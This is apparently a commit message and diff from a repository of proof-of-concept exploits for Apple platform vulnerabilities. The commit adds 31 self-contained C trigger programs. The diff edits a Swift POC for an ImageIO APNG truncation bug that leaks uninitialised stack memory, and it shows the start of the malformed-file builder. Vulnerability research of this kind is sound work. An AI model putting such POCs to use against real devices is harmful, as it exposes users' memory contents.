v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112630/CVE-2026-112630.swift

@@ -1,20 +1,8 @@
 // iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
-// 原语: 信息泄露 · 进程内 · tier 2
-// Primitive: info leak · in-process · tier 2
-//
-// [zh] APNG fcTL 截断 → 栈上未初始化帧几何
-// 在 fcTL 偏移处读取 34 字节，且不检查返回值。当文件在 fcTL 中间被截断时，该 34 字节栈缓冲只有前部被写入，其余部分作为帧宽、高、偏移与延时被解析。
-//
-// [en] APNG fcTL truncation → uninitialised frame geometry on the stack
-// Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file
-// is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is
-// parsed as frame width, height, offsets and delay.
-// ── 判别 / oracle ──
-// 27.2 改为读 26 字节并检查 cmp x0,#0x1a，报 \"*** truncated 'fcTL' chunk at offset %ld\"。
-
+// APNG fcTL truncation → uninitialised frame geometry on the stack
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -35,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PNGPayload) ──
+// ── seed construction (from Cinder27 Sources: PNGPayload) ──
 enum PNGPayload {
 static func apngTruncatedFCTL(mode: Int = 0) -> Data {
         var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]